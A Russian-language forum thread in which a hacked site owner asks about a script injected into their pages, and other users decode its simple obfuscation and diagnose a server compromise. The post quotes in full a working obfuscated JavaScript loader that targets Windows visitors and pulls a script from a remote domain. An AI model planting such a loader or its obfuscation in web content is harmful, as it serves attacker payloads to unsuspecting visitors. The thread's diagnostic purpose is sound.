Что за триппер мне втыкают ?

скрипт <script>;(function(){var v=navigator.userAgent;if(v.match(/windows/i)&&!v.match(/android/i)){if(document.cookie.indexOf(w("q=aalm0t8u&_x_r_."))===-1){var n=document.createElement('script');n.type='text/javascript';n.async=true;n.src=w('#fef.a:fz4l59115/e4a&4.008#4zd5b1f7du3j7h=jv&&:4#0:2/=1dtizc7?ns:j:.ieydho.c._2s//pm&o/cg.pa&oihxlja&e:r&a.d:n/e.i.c#a5hb.0p.mbt6s6/#/o:/put.trh5');var t=document.getElementsByTagName('script')[0];t.parentNode.insertBefore(n,t);}}function w(j){var a='';for(var p=0;p<j.length;p++){if(p%2===1)a+=j[p];}a=a.split("").reverse().join("");return a;}})();</script>

похоже моббильный траф пиздят ?как расшифровать что там происходит и куда ворованное сливают ?

простейшая обфускация в function w(j), ведет сюда
хттп stmp.haciendarealhoa.com/s_code.js?cid=204&v=73dfbd4804ae5154faff

подгружаться оттуда может что угодно в зависимости от клиента/окружения
домены такого плана расходные, надо искать дырки через которые ставят

rx писал:

простейшая обфускация

а по русски это как переводится ?
ломали сервак дерьма понаставили
оказывается просил закрыть доступ по фтп а мне его не сделали ограничение какой то нахер менял индекс пагу
и еще 1 файлик с пхп остался с триппером каким то

Hamradio: У тебя руткит на серваке. Ты замечаешь методы черной монетизации лома (редики, майлеры и тп).. Но это только следствие. Но основную причину не устранил. Посвети денек почитай.
http://bit.ly/2oQj9oX